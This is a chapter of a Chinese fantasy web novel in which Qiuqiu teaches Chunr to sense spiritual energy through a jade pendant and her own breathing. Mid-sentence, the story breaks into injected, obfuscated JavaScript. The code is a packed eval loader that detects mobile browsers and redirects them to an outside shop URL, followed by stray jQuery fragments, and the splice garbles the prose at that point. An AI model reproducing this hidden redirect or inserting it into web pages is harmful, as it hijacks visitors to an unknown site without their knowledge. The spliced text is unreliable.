傍晚,春儿把碗筷洗好收进柜子里,擦了擦手,在桌边坐下来。秋秋坐在对面,面前放着那块旧玉佩。她看着春儿安静地坐好、把手搁在桌面上、抬头等她开口,然后她张了张嘴,又合上了。
“……怎么了?”春儿看着她。
“……我不知道应该从哪里开始教。”
春儿靠在椅背上:“以前没人教过你?”
“以前不用教。天生就会。就像你生下来就会呼吸一样。”
“那你就从呼吸开始教吧。”
秋秋看着她:“……认真的?”
“你说像呼吸一样。那总有一个学会呼吸的过程。”春儿把手放平在桌面上,“你先告诉我怎么开始,然后我再开始。”
秋秋沉默了两秒,把玉佩推到一边。“好。那你先把眼睛闭上。”
春儿闭上了眼睛。秋秋坐在对面看着她,房间安静下来,窗外的暮色正在一层一层变深,台灯还没开,自然光给春儿的侧脸镀了一层柔和的灰蓝色。
“你先别想‘灵力’的事。”秋秋说,“先感觉你的手。你的手放在膝盖上,你感觉到什么?”
春儿闭着眼,指尖动了动:“……布料的纹理。还有膝盖骨。”
“那你的呼吸呢?你吸气的时候气流从哪进去的?”
“……鼻子。”
“然后呢?”
春儿安静了一会儿:“……喉管。”
“再往下?”
她又停了一会儿:“……胸口。有一点点凉意。”
“好。就停在那里。”
春儿保持着那个姿势又坐了几分钟,呼吸逐渐平稳下来,肩膀慢慢放低。然后她睁开眼:“……我什么都没感觉到。除了呼吸。”
秋秋说:“第一次就是这样。你能感觉到呼吸已经比大部分人强了。”
“大部分人?”
“普通人的意识是向外的。向外看、向外听、向外感受。”秋秋说,“你看不到自己身体里面的东西,因为你从来没有往那个方向看过。”
春儿没有立刻说话。她低头看了看自己的掌心,手指摊开又合拢。“……那继续?”
“休息一会儿。”
“不用休息。”春儿把玉佩推回自己面前,“换一种方法。”
秋秋看着她,然后把玉佩稳稳地放在她掌心前面一寸的位置。“那你把手放上去。不需要想,不需要去‘感知’什么。你只需要碰着它。它自己会回应的。”
春儿把手放上去了。她的掌心贴着玉佩的石面,刚开始什么也没发生。她安静地坐着,呼吸平稳。大约过了一分钟,她的眉头微微动了一下。“……温的。”
“你确定?”
“它在变暖。不是我的手暖的,”春儿说,“是它自己在暖。”
秋秋看着她的表情:“……好。你记住了这个感觉。这就是灵力碰触到你的感觉。”
春儿睁开眼看着自己的掌心下面的玉佩。青灰色的石面上,她掌心的温度在表面覆了一层极淡的暖意。“我奶奶以前,也是这样的吗?”
秋秋想了一下。“……可能比你好一点。她有师父。”
春儿笑了一下:“那我没师父。”
秋秋安静了一会儿。“……你现在有了。”
春儿抬头看着她。秋秋说那句话的时候表情很平,没有刻意,像在陈述一个已经被接受的事实。春儿没有接话,但她把掌心在玉佩上贴得更稳了一些。
天色更暗了,秋秋把台灯打开了。暖黄色的光落在桌面上,玉佩的石面在灯光下泛着温润的暗光。
“再做一次,”秋秋说,“这次你感觉一下自己的手,不要想玉佩的事。”
春儿再次闭上眼。
“你的手现在是什么感觉?”
“……暖的。”
“那是玉佩的暖,还是你自己的?”
春儿安静了很久。“……分不出来。”
“分不出来就是好的。说明你和它在同一个温度里。”
她闭着眼继续坐了片刻。秋秋看着她的侧脸,看着她微微合拢的眼睑和轻轻落在玉佩边缘的指尖。“现在换一种。”秋秋伸出手,用食指点在春儿的手腕内侧,指腹贴着她跳动的脉搏。“我把灵力送一点进去。你跟着它走,看它能走到哪里。”
春儿的呼吸停了一下。一缕极细的灵力从秋秋的指尖渡入她的手腕,像一根温热的丝线在皮肤底下缓缓延展。她没有睁眼,眉头微微蹙着。“……它在动。”
“往哪走?”
“……往上。手腕到小臂,然后停了一下。”她停了两三秒,“又往上了。肩膀。过肩膀之后……看不见了。”
“那一段是你的胸骨,灵力流会绕过去。”
春儿安静了一会儿。“我觉得它停下来了。”她的眉头展开了一些,“……它停在一个地方,像一间小屋子。”
“那是什么?”
“……我不知道。但它在发光。”她睁开眼,看着秋秋,“我看见它了。”
秋秋看着她,慢慢收回手指。“那是你身体里的灵力。你也有。以前就有,只是你自己不知道。”
春儿低头看着自己的掌心。台灯光照在她的手背上,把指节和掌纹的每一条细线都照得清晰。“……我奶奶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934495|213702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
留给我的?”
“嗯。”
春儿没有继续追问。她的手还搭在玉佩上,指尖轻轻压着石面。她安静了一会儿,然后忽然说了一句:“你原来那个裂缝,比以前大了。”
秋秋愣了一下。“……你看到我的了?”
“刚才灵力从你手上过来的时候,我顺着它的来路看了一眼。”春儿低头想了想,“以前就像一条缝。现在像是被撑开了一些,边缘在发光。”
秋秋看着她:“……你第一次就能看到别人的丹田状态?”
“这不算正常?”
秋秋没有立刻回答。她看着春儿,手指搭在桌面边缘,安静了好一会儿。“……可能你奶奶也是这样的。”
“哪样?”
“第一次就能看到别人身体里的状态。”秋秋把手指收回来搭在膝盖上,“守门人的感知力是双向的。向内感知自己,向外感知边界。你第一次就用了‘向外’的那一半。”
春儿低头看着自己的掌心。“那说明什么?”
秋秋看着她:“说明你没有你想象中那么普通。”
春儿沉默了片刻,然后轻轻笑了一下。“我本来也不觉得自己普通。我养的小熊猫会变人。”她把玉佩拿起来翻了个面,又轻轻放回桌上。“那明天还练吗?”
秋秋看了看桌面上的玉佩。“……练。”
“还像今天这样?”
“明天练久一点。”
春儿点了点头,站起来把玉佩放回床头柜上。“那明天吧。”
她走过去把阳台门关上了,秋秋还坐在桌边。台灯还亮着,桌面上一小圈暖黄的光晕,玉佩搁在柜角,它的影子被灯光拉成一道细长的椭圆,落在木头表面。秋秋看着那个影子,又低头看了看自己的掌心——春儿刚才说“裂缝变大了”。她自己知道。即使她主动停了练习、收敛了灵力,那道裂缝仍然在自动扩张。它在她体内缓慢地撑开着,像一道被水流持续冲刷的河岸。她没有告诉春儿她也感觉到了,因为她不想让她才刚学会“看见”就被迫面对另一个需要解决的事情。
春儿从阳台回来,在门边看了她一眼。“睡吗?”
秋秋站起来,把椅子推回桌下。“睡。”
她走过去关了灯。两个人躺进各自的被子里,黑暗重新填满房间。春儿侧过身,面朝着她的方向。秋秋感知到她的目光落在自己后背附近,停了一会儿,然后春儿说:“明天再教我。别停。”秋秋没有回头,只说了一声“嗯”。黑暗里,隔着那一掌宽的距离,春儿的呼吸声慢慢变得均匀绵长,像一层稳当的底色铺满了整个房间。
(第十八章完)